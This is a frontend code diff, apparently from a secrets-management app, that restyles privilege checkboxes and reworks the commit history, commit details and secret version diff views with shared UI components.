@ -378,7 +378,7 @@ export const SpecificPrivilegeSecretForm = ({
|
|||||||
<Checkbox
|
<Checkbox
|
||||||
isDisabled={isMemberEditDisabled}
|
isDisabled={isMemberEditDisabled}
|
||||||
id="secret-change"
|
id="secret-change"
|
||||||
className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
|
className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
|
||||||
isChecked={field.value}
|
isChecked={field.value}
|
||||||
onCheckedChange={(isChecked) => field.onChange(isChecked)}
|
onCheckedChange={(isChecked) => field.onChange(isChecked)}
|
||||||
/>
|
/>
|
||||||
@ -411,7 +411,7 @@ export const SpecificPrivilegeSecretForm = ({
|
|||||||
<Checkbox
|
<Checkbox
|
||||||
isDisabled={isMemberEditDisabled}
|
isDisabled={isMemberEditDisabled}
|
||||||
id="secret-modify"
|
id="secret-modify"
|
||||||
className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
|
className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
|
||||||
isChecked={field.value}
|
isChecked={field.value}
|
||||||
onCheckedChange={(isChecked) => field.onChange(isChecked)}
|
onCheckedChange={(isChecked) => field.onChange(isChecked)}
|
||||||
/>
|
/>
|
||||||
@ -442,7 +442,7 @@ export const SpecificPrivilegeSecretForm = ({
|
|||||||
<Checkbox
|
<Checkbox
|
||||||
isDisabled={isMemberEditDisabled}
|
isDisabled={isMemberEditDisabled}
|
||||||
id="secret-delete"
|
id="secret-delete"
|
||||||
className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
|
className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
|
||||||
isChecked={field.value}
|
isChecked={field.value}
|
||||||
onCheckedChange={(isChecked) => field.onChange(isChecked)}
|
onCheckedChange={(isChecked) => field.onChange(isChecked)}
|
||||||
/>
|
/>
|
||||||
|
@ -1,5 +1,10 @@
|
|||||||
import { useEffect, useState } from "react";
|
import { useEffect, useState } from "react";
|
||||||
import { faAngleDown } from "@fortawesome/free-solid-svg-icons";
|
import {
|
||||||
|
faAngleDown,
|
||||||
|
faChevronLeft,
|
||||||
|
faCodeCommit,
|
||||||
|
faWarning
|
||||||
|
} from "@fortawesome/free-solid-svg-icons";
|
||||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||||
import { DropdownMenuItem } from "@radix-ui/react-dropdown-menu";
|
import { DropdownMenuItem } from "@radix-ui/react-dropdown-menu";
|
||||||
import { useSearch } from "@tanstack/react-router";
|
import { useSearch } from "@tanstack/react-router";
|
||||||
@ -7,12 +12,14 @@ import { useSearch } from "@tanstack/react-router";
|
|||||||
import { createNotification } from "@app/components/notifications";
|
import { createNotification } from "@app/components/notifications";
|
||||||
import { ProjectPermissionCan } from "@app/components/permissions";
|
import { ProjectPermissionCan } from "@app/components/permissions";
|
||||||
import {
|
import {
|
||||||
|
Button,
|
||||||
|
ContentLoader,
|
||||||
DeleteActionModal,
|
DeleteActionModal,
|
||||||
DropdownMenu,
|
DropdownMenu,
|
||||||
DropdownMenuContent,
|
DropdownMenuContent,
|
||||||
DropdownMenuTrigger,
|
DropdownMenuTrigger,
|
||||||
IconButton,
|
EmptyState,
|
||||||
Spinner
|
PageHeader
|
||||||
} from "@app/components/v2";
|
} from "@app/components/v2";
|
||||||
import { ROUTE_PATHS } from "@app/const/routes";
|
import { ROUTE_PATHS } from "@app/const/routes";
|
||||||
import {
|
import {
|
||||||
@ -108,25 +115,25 @@ export const CommitDetailsTab = ({
|
|||||||
// If no commit is selected or data is loading, show appropriate message
|
// If no commit is selected or data is loading, show appropriate message
|
||||||
if (!selectedCommitId) {
|
if (!selectedCommitId) {
|
||||||
return (
|
return (
|
||||||
<div className="flex h-64 items-center justify-center">
|
<EmptyState className="mt-40" title="Select a commit to view details." icon={faCodeCommit}>
|
||||||
<p className="text-gray-400">Select a commit to view details</p>
|
<Button className="mt-4" colorSchema="secondary" onClick={() => goBackToHistory()}>
|
||||||
</div>
|
Back to Commits
|
||||||
|
</Button>
|
||||||
|
</EmptyState>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (isLoading) {
|
if (isLoading) {
|
||||||
return (
|
return <ContentLoader />;
|
||||||
<div className="flex h-64 items-center justify-center">
|
|
||||||
<Spinner size="lg" />
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!commitDetails) {
|
if (!commitDetails) {
|
||||||
return (
|
return (
|
||||||
<div className="flex h-64 items-center justify-center">
|
<EmptyState className="mt-40" title="No details found for this commit." icon={faCodeCommit}>
|
||||||
<p className="text-gray-400">No details found for this commit</p>
|
<Button className="mt-4" colorSchema="secondary" onClick={() => goBackToHistory()}>
|
||||||
</div>
|
Back to Commits
|
||||||
|
</Button>
|
||||||
|
</EmptyState>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -138,9 +145,11 @@ export const CommitDetailsTab = ({
|
|||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error("Failed to parse commit details:", error);
|
console.error("Failed to parse commit details:", error);
|
||||||
return (
|
return (
|
||||||
<div className="flex h-64 items-center justify-center">
|
<EmptyState className="mt-40" title="Error parsing commit details." icon={faWarning}>
|
||||||
<p className="text-gray-400">Error parsing commit details</p>
|
<Button className="mt-4" colorSchema="secondary" onClick={() => goBackToHistory()}>
|
||||||
</div>
|
Back to Commits
|
||||||
|
</Button>
|
||||||
|
</EmptyState>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -223,13 +232,12 @@ export const CommitDetailsTab = ({
|
|||||||
// Render an item from the merged list
|
// Render an item from the merged list
|
||||||
const renderMergedItem = (item: MergedItem): JSX.Element => {
|
const renderMergedItem = (item: MergedItem): JSX.Element => {
|
||||||
return (
|
return (
|
||||||
<div key={item.id} className="mb-2">
|
<SecretVersionDiffView
|
||||||
<SecretVersionDiffView
|
key={item.id}
|
||||||
item={item}
|
item={item}
|
||||||
isCollapsed={collapsedItems[item.id]}
|
isCollapsed={collapsedItems[item.id]}
|
||||||
onToggleCollapse={(id) => toggleItemCollapsed(id)}
|
onToggleCollapse={(id) => toggleItemCollapsed(id)}
|
||||||
/>
|
/>
|
||||||
</div>
|
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -240,114 +248,104 @@ export const CommitDetailsTab = ({
|
|||||||
"Unknown";
|
"Unknown";
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="w-full">
|
<>
|
||||||
<div>
|
<Button
|
||||||
<div className="flex justify-between pb-2">
|
variant="link"
|
||||||
<div className="w-5/6">
|
type="submit"
|
||||||
<div>
|
leftIcon={<FontAwesomeIcon icon={faChevronLeft} />}
|
||||||
<div className="flex items-center">
|
onClick={() => {
|
||||||
<h1 className="mr-4 truncate text-3xl font-semibold text-white">
|
goBackToHistory();
|
||||||
{parsedCommitDetails.changes?.message || "No message"}
|
}}
|
||||||
</h1>
|
>
|
||||||
</div>
|
Commit History
|
||||||
</div>
|
</Button>
|
||||||
<div className="font-small mb-4 mt-2 flex items-center text-sm">
|
<PageHeader
|
||||||
<p>
|
title={`${parsedCommitDetails.changes?.message}` || "No message"}
|
||||||
<span> Commited by </span>
|
description={
|
||||||
<b>{actorDisplay}</b>
|
<>
|
||||||
<span> on </span>
|
Commited by {actorDisplay} on{" "}
|
||||||
<b>
|
{formatDisplayDate(parsedCommitDetails.changes?.createdAt || new Date().toISOString())}
|
||||||
{formatDisplayDate(
|
{parsedCommitDetails.changes?.isLatest && (
|
||||||
parsedCommitDetails.changes?.createdAt || new Date().toISOString()
|
<span className="ml-1 text-mineshaft-400">(Latest)</span>
|
||||||
)}
|
)}
|
||||||
</b>
|
</>
|
||||||
{parsedCommitDetails.changes?.isLatest && (
|
}
|
||||||
<span className="ml-1 italic text-gray-400">(Latest)</span>
|
>
|
||||||
)}
|
<ProjectPermissionCan
|
||||||
</p>
|
I={ProjectPermissionCommitsActions.PerformRollback}
|
||||||
</div>
|
a={ProjectPermissionSub.Commits}
|
||||||
</div>
|
>
|
||||||
<div className="flex items-center justify-start">
|
{(isAllowed) => (
|
||||||
<ProjectPermissionCan
|
<DropdownMenu>
|
||||||
I={ProjectPermissionCommitsActions.PerformRollback}
|
<DropdownMenuTrigger
|
||||||
a={ProjectPermissionSub.Commits}
|
asChild
|
||||||
>
|
disabled={!isAllowed}
|
||||||
{(isAllowed) => (
|
className={`${!isAllowed ? "cursor-not-allowed" : ""}`}
|
||||||
<DropdownMenu>
|
>
|
||||||
<DropdownMenuTrigger
|
<Button
|
||||||
asChild
|
rightIcon={<FontAwesomeIcon className="ml-2" icon={faAngleDown} />}
|
||||||
disabled={!isAllowed}
|
variant="solid"
|
||||||
className={`${!isAllowed ? "cursor-not-allowed" : ""}`}
|
className="h-min"
|
||||||
|
colorSchema="secondary"
|
||||||
|
>
|
||||||
|
Restore Options
|
||||||
|
</Button>
|
||||||
|
</DropdownMenuTrigger>
|
||||||
|
<DropdownMenuContent align="end" sideOffset={2}>
|
||||||
|
{!parsedCommitDetails.changes.isLatest && (
|
||||||
|
<DropdownMenuItem
|
||||||
|
className="group cursor-pointer rounded-md px-3 py-3 transition-colors hover:bg-mineshaft-700"
|
||||||
|
onClick={() => goToRollbackPreview()}
|
||||||
>
|
>
|
||||||
<IconButton
|
<div className="flex items-center space-x-3">
|
||||||
ariaLabel="commit-options"
|
<div className="flex flex-col">
|
||||||
variant="outline_bg"
|
<span className="text-sm font-medium text-white">
|
||||||
className="h-10 rounded border border-mineshaft-600 bg-mineshaft-800 px-4 py-2 text-sm font-medium"
|
Roll back to this commit
|
||||||
>
|
</span>
|
||||||
<p className="mr-2">Restore Options</p>
|
<span className="whitespace-normal break-words text-xs leading-snug text-gray-400">
|
||||||
<FontAwesomeIcon icon={faAngleDown} />
|
Return this folder to its exact state at the time of this commit,
|
||||||
</IconButton>
|
discarding all other changes made after it
|
||||||
</DropdownMenuTrigger>
|
</span>
|
||||||
<DropdownMenuContent
|
|
||||||
align="end"
|
|
||||||
sideOffset={2}
|
|
||||||
className="animate-in fade-in-50 zoom-in-95 min-w-[240px] rounded-md bg-mineshaft-800 p-1 shadow-lg"
|
|
||||||
style={{ marginTop: "0" }}
|
|
||||||
>
|
|
||||||
{!parsedCommitDetails.changes.isLatest && (
|
|
||||||
<DropdownMenuItem
|
|
||||||
className="group cursor-pointer rounded-md px-3 py-3 transition-colors hover:bg-mineshaft-700"
|
|
||||||
onClick={() => goToRollbackPreview()}
|
|
||||||
>
|
|
||||||
<div className="flex items-center space-x-3">
|
|
||||||
<div className="flex flex-col">
|
|
||||||
<span className="text-sm font-medium text-white">
|
|
||||||
Roll back to this commit
|
|
||||||
</span>
|
|
||||||
<span className="max-w-[180px] whitespace-normal break-words text-xs leading-snug text-gray-400">
|
|
||||||
Return this folder to its exact state at the time of this commit,
|
|
||||||
discarding all other changes made after it
|
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</DropdownMenuItem>
|
|
||||||
)}
|
|
||||||
|
|
||||||
<DropdownMenuItem
|
|
||||||
className="group cursor-pointer rounded-md px-3 py-3 transition-colors hover:bg-mineshaft-700"
|
|
||||||
onClick={() => handlePopUpOpen("revertChanges")}
|
|
||||||
>
|
|
||||||
<div className="flex items-center space-x-3">
|
|
||||||
<div className="flex flex-col">
|
|
||||||
<span className="text-sm font-medium text-white">Revert changes</span>
|
|
||||||
<span className="max-w-[180px] whitespace-normal break-words text-xs leading-snug text-gray-400">
|
|
||||||
Will restore to the previous version of affected resources
|
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
</DropdownMenuItem>
|
</div>
|
||||||
</DropdownMenuContent>
|
</DropdownMenuItem>
|
||||||
</DropdownMenu>
|
)}
|
||||||
)}
|
<DropdownMenuItem
|
||||||
</ProjectPermissionCan>
|
className="group cursor-pointer rounded-md px-3 py-3 transition-colors hover:bg-mineshaft-700"
|
||||||
</div>
|
onClick={() => handlePopUpOpen("revertChanges")}
|
||||||
|
>
|
||||||
|
<div className="flex items-center space-x-3">
|
||||||
|
<div className="flex flex-col">
|
||||||
|
<span className="text-sm font-medium text-white">Revert changes</span>
|
||||||
|
<span className="whitespace-normal break-words text-xs leading-snug text-gray-400">
|
||||||
|
Will restore to the previous version of affected resources
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</DropdownMenuItem>
|
||||||
|
</DropdownMenuContent>
|
||||||
|
</DropdownMenu>
|
||||||
|
)}
|
||||||
|
</ProjectPermissionCan>
|
||||||
|
</PageHeader>
|
||||||
|
<div className="flex w-full flex-col rounded-lg border border-mineshaft-600 bg-mineshaft-900 pt-4">
|
||||||
|
<div className="mx-4 flex items-center justify-between border-b border-mineshaft-400 pb-4">
|
||||||
|
<h3 className="text-lg font-semibold text-mineshaft-100">Commit Changes</h3>
|
||||||
</div>
|
</div>
|
||||||
|
<div className="flex flex-col overflow-hidden pl-4 pr-1">
|
||||||
<div className="py-2">
|
<div className="thin-scrollbar overflow-y-scroll py-4">
|
||||||
<div className="overflow-hidden">
|
{sortedChangedItems.length > 0 ? (
|
||||||
<div className="space-y-2">
|
sortedChangedItems.map((item) => renderMergedItem(item))
|
||||||
{sortedChangedItems.length > 0 ? (
|
) : (
|
||||||
sortedChangedItems.map((item) => renderMergedItem(item))
|
<EmptyState
|
||||||
) : (
|
title="No changes found."
|
||||||
<div className="flex h-32 items-center justify-center rounded-lg border border-mineshaft-600 bg-mineshaft-800">
|
className="h-full pb-0 pt-28"
|
||||||
<p className="text-gray-400">No changed items found</p>
|
icon={faCodeCommit}
|
||||||
</div>
|
/>
|
||||||
)}
|
)}
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<DeleteActionModal
|
<DeleteActionModal
|
||||||
isOpen={popUp.revertChanges.isOpen}
|
isOpen={popUp.revertChanges.isOpen}
|
||||||
deleteKey="revert"
|
deleteKey="revert"
|
||||||
@ -357,6 +355,6 @@ export const CommitDetailsTab = ({
|
|||||||
onDeleteApproved={handleRevertChanges}
|
onDeleteApproved={handleRevertChanges}
|
||||||
buttonText="Yes, revert changes"
|
buttonText="Yes, revert changes"
|
||||||
/>
|
/>
|
||||||
</div>
|
</>
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
@ -225,15 +225,12 @@ const renderJsonWithDiffs = (
|
|||||||
|
|
||||||
const getLineClass = (different: boolean) => {
|
const getLineClass = (different: boolean) => {
|
||||||
if (!different) return "flex";
|
if (!different) return "flex";
|
||||||
return isOldVersion ? "flex bg-red-950 text-red-300" : "flex bg-green-950 text-green-300";
|
return isOldVersion
|
||||||
|
? "flex bg-red-500/50 rounded-sm text-red-300"
|
||||||
|
: "flex bg-green-500/50 rounded-sm text-green-300";
|
||||||
};
|
};
|
||||||
|
|
||||||
const getHighlightClass = (different: boolean) => {
|
const prefix = isDifferent ? (isOldVersion ? " -" : " +") : " ";
|
||||||
if (!different) return "";
|
|
||||||
return isOldVersion ? "bg-red-900 rounded px-1" : "bg-green-900 rounded px-1";
|
|
||||||
};
|
|
||||||
|
|
||||||
const prefix = isDifferent ? (isOldVersion ? "-" : "+") : " ";
|
|
||||||
const keyDisplay = keyName ? `"${keyName}": ` : "";
|
const keyDisplay = keyName ? `"${keyName}": ` : "";
|
||||||
const comma = !isLastItem ? "," : "";
|
const comma = !isLastItem ? "," : "";
|
||||||
|
|
||||||
@ -255,8 +252,8 @@ const renderJsonWithDiffs = (
|
|||||||
<div className="w-4 flex-shrink-0">{prefix}</div>
|
<div className="w-4 flex-shrink-0">{prefix}</div>
|
||||||
<div>
|
<div>
|
||||||
{indent}
|
{indent}
|
||||||
{keyName && <span className={getHighlightClass(isDifferent)}>{keyDisplay}</span>}
|
{keyName && <span>{keyDisplay}</span>}
|
||||||
<span className={getHighlightClass(isDifferent)}>{valueDisplay}</span>
|
<span>{valueDisplay}</span>
|
||||||
{comma}
|
{comma}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@ -269,8 +266,8 @@ const renderJsonWithDiffs = (
|
|||||||
<div className="w-4 flex-shrink-0">{prefix}</div>
|
<div className="w-4 flex-shrink-0">{prefix}</div>
|
||||||
<div>
|
<div>
|
||||||
{indent}
|
{indent}
|
||||||
{keyName && <span className={getHighlightClass(isDifferent)}>{keyDisplay}</span>}
|
{keyName && <span>{keyDisplay}</span>}
|
||||||
<span className={getHighlightClass(isDifferent)}>[]</span>
|
<span>[]</span>
|
||||||
{comma}
|
{comma}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@ -283,8 +280,8 @@ const renderJsonWithDiffs = (
|
|||||||
<div className="w-4 flex-shrink-0">{prefix}</div>
|
<div className="w-4 flex-shrink-0">{prefix}</div>
|
||||||
<div>
|
<div>
|
||||||
{indent}
|
{indent}
|
||||||
{keyName && <span className={getHighlightClass(isDifferent)}>{keyDisplay}</span>}
|
{keyName && <span>{keyDisplay}</span>}
|
||||||
<span className={getHighlightClass(isDifferent)}>{"{}"}</span>
|
<span>{"{}"}</span>
|
||||||
{comma}
|
{comma}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@ -320,16 +317,12 @@ const renderJsonWithDiffs = (
|
|||||||
<div key={reactKey}>
|
<div key={reactKey}>
|
||||||
<div className={getLineClass(isContainerAddedOrRemoved)}>
|
<div className={getLineClass(isContainerAddedOrRemoved)}>
|
||||||
<div className="w-4 flex-shrink-0">
|
<div className="w-4 flex-shrink-0">
|
||||||
{isContainerAddedOrRemoved ? (isOldVersion ? "-" : "+") : " "}
|
{isContainerAddedOrRemoved ? (isOldVersion ? " -" : " +") : " "}
|
||||||
</div>
|
</div>
|
||||||
<div>
|
<div>
|
||||||
{indent}
|
{indent}
|
||||||
{keyName && (
|
{keyName && <span>{keyDisplay}</span>}
|
||||||
<span className={isContainerAddedOrRemoved ? getHighlightClass(true) : ""}>
|
<span>[</span>
|
||||||
{keyDisplay}
|
|
||||||
</span>
|
|
||||||
)}
|
|
||||||
<span className={isContainerAddedOrRemoved ? getHighlightClass(true) : ""}>[</span>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@ -357,11 +350,11 @@ const renderJsonWithDiffs = (
|
|||||||
|
|
||||||
<div className={getLineClass(isContainerAddedOrRemoved)}>
|
<div className={getLineClass(isContainerAddedOrRemoved)}>
|
||||||
<div className="w-4 flex-shrink-0">
|
<div className="w-4 flex-shrink-0">
|
||||||
{isContainerAddedOrRemoved ? (isOldVersion ? "-" : "+") : " "}
|
{isContainerAddedOrRemoved ? (isOldVersion ? " -" : " +") : " "}
|
||||||
</div>
|
</div>
|
||||||
<div>
|
<div>
|
||||||
{indent}
|
{indent}
|
||||||
<span className={isContainerAddedOrRemoved ? getHighlightClass(true) : ""}>]</span>
|
<span>]</span>
|
||||||
{comma}
|
{comma}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@ -376,16 +369,12 @@ const renderJsonWithDiffs = (
|
|||||||
<div key={reactKey}>
|
<div key={reactKey}>
|
||||||
<div className={getLineClass(isContainerAddedOrRemoved)}>
|
<div className={getLineClass(isContainerAddedOrRemoved)}>
|
||||||
<div className="w-4 flex-shrink-0">
|
<div className="w-4 flex-shrink-0">
|
||||||
{isContainerAddedOrRemoved ? (isOldVersion ? "-" : "+") : " "}
|
{isContainerAddedOrRemoved ? (isOldVersion ? " -" : " +") : " "}
|
||||||
</div>
|
</div>
|
||||||
<div>
|
<div>
|
||||||
{indent}
|
{indent}
|
||||||
{keyName && (
|
{keyName && <span>{keyDisplay}</span>}
|
||||||
<span className={isContainerAddedOrRemoved ? getHighlightClass(true) : ""}>
|
<span>{"{"}</span>
|
||||||
{keyDisplay}
|
|
||||||
</span>
|
|
||||||
)}
|
|
||||||
<span className={isContainerAddedOrRemoved ? getHighlightClass(true) : ""}>{"{"}</span>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@ -414,11 +403,11 @@ const renderJsonWithDiffs = (
|
|||||||
|
|
||||||
<div className={getLineClass(isContainerAddedOrRemoved)}>
|
<div className={getLineClass(isContainerAddedOrRemoved)}>
|
||||||
<div className="w-4 flex-shrink-0">
|
<div className="w-4 flex-shrink-0">
|
||||||
{isContainerAddedOrRemoved ? (isOldVersion ? "-" : "+") : " "}
|
{isContainerAddedOrRemoved ? (isOldVersion ? " -" : " +") : " "}
|
||||||
</div>
|
</div>
|
||||||
<div>
|
<div>
|
||||||
{indent}
|
{indent}
|
||||||
<span className={isContainerAddedOrRemoved ? getHighlightClass(true) : ""}>{"}"}</span>
|
<span>{"}"}</span>
|
||||||
{comma}
|
{comma}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@ -625,22 +614,21 @@ export const SecretVersionDiffView = ({
|
|||||||
};
|
};
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="overflow-hidden rounded-lg border border-mineshaft-600 bg-mineshaft-800">
|
<div className="overflow-hidden border border-b-0 border-mineshaft-600 bg-mineshaft-800 first:rounded-t last:rounded-b last:border-b">
|
||||||
{showHeader && renderHeader()}
|
{showHeader && renderHeader()}
|
||||||
|
|
||||||
{!collapsed && (
|
{!collapsed && (
|
||||||
<div className="border-t border-mineshaft-700 bg-mineshaft-900 px-6 py-4">
|
<div className="border-t border-mineshaft-700 bg-mineshaft-900 p-3 text-mineshaft-100">
|
||||||
<div className="grid grid-cols-2 gap-4">
|
<div className="flex gap-3">
|
||||||
<div
|
<div
|
||||||
ref={oldContainerRef}
|
ref={oldContainerRef}
|
||||||
className="thin-scrollbar max-h-96 overflow-auto whitespace-pre rounded border border-mineshaft-600 bg-mineshaft-900 p-4"
|
className="thin-scrollbar max-h-96 flex-1 overflow-auto whitespace-pre"
|
||||||
>
|
>
|
||||||
{oldVersionContent}
|
{oldVersionContent}
|
||||||
</div>
|
</div>
|
||||||
|
<div className="max-h-96 w-[0.05rem] self-stretch bg-mineshaft-600" />
|
||||||
<div
|
<div
|
||||||
ref={newContainerRef}
|
ref={newContainerRef}
|
||||||
className="thin-scrollbar max-h-96 overflow-auto whitespace-pre rounded border border-mineshaft-600 bg-mineshaft-900 p-4"
|
className="thin-scrollbar max-h-96 flex-1 overflow-auto whitespace-pre"
|
||||||
>
|
>
|
||||||
{newVersionContent}
|
{newVersionContent}
|
||||||
</div>
|
</div>
|
||||||
|
@ -52,7 +52,7 @@ export const CommitsPage = () => {
|
|||||||
title="Commits"
|
title="Commits"
|
||||||
description="Track, inspect, and restore your secrets and folders with confidence. View the complete history of changes made to your environment, examine specific modifications at each commit point, and preview the exact impact before rolling back to previous states."
|
description="Track, inspect, and restore your secrets and folders with confidence. View the complete history of changes made to your environment, examine specific modifications at each commit point, and preview the exact impact before rolling back to previous states."
|
||||||
/>
|
/>
|
||||||
<NoticeBannerV2 title="" className="mb-2">
|
<NoticeBannerV2 title="Secret Snapshots Update" className="mb-2">
|
||||||
<p className="my-1 text-sm text-mineshaft-300">
|
<p className="my-1 text-sm text-mineshaft-300">
|
||||||
Secret Snapshots have been officially renamed to Commits. Going forward, all secret
|
Secret Snapshots have been officially renamed to Commits. Going forward, all secret
|
||||||
changes will be tracked as Commits. If you made changes before this update, you can
|
changes will be tracked as Commits. If you made changes before this update, you can
|
||||||
|
@ -2,13 +2,14 @@ import { useCallback, useEffect, useMemo, useRef, useState } from "react";
|
|||||||
import {
|
import {
|
||||||
faArrowDownWideShort,
|
faArrowDownWideShort,
|
||||||
faArrowUpWideShort,
|
faArrowUpWideShort,
|
||||||
|
faCodeCommit,
|
||||||
faCopy,
|
faCopy,
|
||||||
faSearch
|
faSearch
|
||||||
} from "@fortawesome/free-solid-svg-icons";
|
} from "@fortawesome/free-solid-svg-icons";
|
||||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||||
import { format, formatDistanceToNow } from "date-fns";
|
import { format, formatDistanceToNow } from "date-fns";
|
||||||
|
|
||||||
import { Button, Input, Spinner } from "@app/components/v2";
|
import { Button, ContentLoader, EmptyState, IconButton, Input } from "@app/components/v2";
|
||||||
import { CopyButton } from "@app/components/v2/CopyButton";
|
import { CopyButton } from "@app/components/v2/CopyButton";
|
||||||
import { useGetFolderCommitHistory } from "@app/hooks/api/folderCommits";
|
import { useGetFolderCommitHistory } from "@app/hooks/api/folderCommits";
|
||||||
|
|
||||||
@ -40,58 +41,40 @@ const CommitItem = ({
|
|||||||
onSelectCommit: (commitId: string, tab: string) => void;
|
onSelectCommit: (commitId: string, tab: string) => void;
|
||||||
}) => {
|
}) => {
|
||||||
return (
|
return (
|
||||||
<div className="border-b border-zinc-800 last:border-b-0">
|
<button
|
||||||
<div className="px-4 py-4 transition-colors duration-200 hover:bg-zinc-800">
|
type="button"
|
||||||
<div className="flex flex-col sm:flex-row sm:justify-between">
|
onClick={(e) => {
|
||||||
<div className="w-5/6 flex-1">
|
e.stopPropagation();
|
||||||
<div className="flex items-center">
|
onSelectCommit(commit.id, "tab-commit-details");
|
||||||
<Button
|
}}
|
||||||
variant="link"
|
className="w-full border border-b-0 border-mineshaft-600 bg-mineshaft-800 first:rounded-t-md last:rounded-b-md last:border-b"
|
||||||
className="truncate text-left text-white hover:underline"
|
>
|
||||||
isFullWidth
|
<div className="flex gap-2 px-4 py-3 transition-colors duration-200 hover:bg-zinc-800">
|
||||||
onClick={(e) => {
|
<div className="flex flex-1 flex-col items-start">
|
||||||
e.stopPropagation();
|
<span className="w-min whitespace-nowrap text-sm text-mineshaft-100">
|
||||||
onSelectCommit(commit.id, "tab-commit-details");
|
{commit.message}
|
||||||
}}
|
</span>
|
||||||
>
|
<p className="text-left text-xs text-mineshaft-300">
|
||||||
{commit.message}
|
{commit.actorMetadata?.email || commit.actorMetadata?.name || commit.actorType}{" "}
|
||||||
</Button>
|
committed <time dateTime={commit.createdAt}>{formatTimeAgo(commit.createdAt)}</time>
|
||||||
</div>
|
</p>
|
||||||
<p className="text-white-400 mt-2 flex flex-wrap items-center gap-4 text-sm">
|
</div>
|
||||||
<span className="flex items-center text-mineshaft-300">
|
|
||||||
{commit.actorMetadata?.email || commit.actorMetadata?.name || commit.actorType}
|
<div className="flex items-center space-x-2">
|
||||||
<p className="ml-1 mr-1">committed</p>
|
<code className="mt-0.5 font-mono text-xs text-mineshaft-400">
|
||||||
<time dateTime={commit.createdAt}>{formatTimeAgo(commit.createdAt)}</time>
|
{commit.id?.substring(0, 11)}
|
||||||
</span>
|
</code>
|
||||||
</p>
|
<CopyButton
|
||||||
</div>
|
value={commit.id}
|
||||||
<div className="mt-2 flex w-1/6 items-center justify-end sm:mt-0">
|
name={commit.id}
|
||||||
<div className="flex items-center space-x-1">
|
size="xs"
|
||||||
<Button
|
variant="plain"
|
||||||
variant="link"
|
color="text-mineshaft-400"
|
||||||
className="text-white hover:underline"
|
icon={faCopy}
|
||||||
onClick={(e) => {
|
/>
|
||||||
e.stopPropagation();
|
|
||||||
onSelectCommit(commit.id, "tab-commit-details");
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
<code className="text-white-400 px-3 py-1 font-mono text-sm">
|
|
||||||
{commit.id?.substring(0, 11)}
|
|
||||||
</code>
|
|
||||||
</Button>
|
|
||||||
<CopyButton
|
|
||||||
value={commit.id}
|
|
||||||
name={commit.id}
|
|
||||||
size="sm"
|
|
||||||
variant="plain"
|
|
||||||
color="text-mineshaft-400"
|
|
||||||
icon={faCopy}
|
|
||||||
/>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</button>
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -108,24 +91,16 @@ const DateGroup = ({
|
|||||||
onSelectCommit: (commitId: string, tab: string) => void;
|
onSelectCommit: (commitId: string, tab: string) => void;
|
||||||
}) => {
|
}) => {
|
||||||
return (
|
return (
|
||||||
<div className="mb-8 last:mb-0 last:pb-2">
|
<div className="mt-4 first:mt-0">
|
||||||
<div className="mb-4 flex items-center">
|
<div className="mb-4 ml-[0.15rem] flex items-center">
|
||||||
<div className="relative mr-3 flex h-6 w-6 items-center justify-center">
|
<FontAwesomeIcon icon={faCodeCommit} className="text-mineshaft-400" />
|
||||||
<div className="z-10 h-3 w-3 rounded-full border-2 border-mineshaft-600 bg-bunker-800" />
|
<h2 className="ml-4 text-sm text-mineshaft-400">Commits on {date}</h2>
|
||||||
<div className="absolute left-0 right-0 top-1/2 h-0.5 -translate-y-1/2 bg-mineshaft-600" />
|
|
||||||
</div>
|
|
||||||
<h2 className="text-sm text-white">Commits on {date}</h2>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="relative">
|
<div className="relative">
|
||||||
<div className="absolute bottom-0 left-3 top-0 w-0.5 bg-mineshaft-600" />
|
<div className="absolute bottom-0 left-3 top-0 w-[0.1rem] bg-mineshaft-500" />
|
||||||
<div className="ml-10">
|
<div className="ml-10">
|
||||||
{commits.map((commit) => (
|
{commits.map((commit) => (
|
||||||
<div key={commit.id} className="relative mb-3 pb-1">
|
<CommitItem key={commit.id} commit={commit} onSelectCommit={onSelectCommit} />
|
||||||
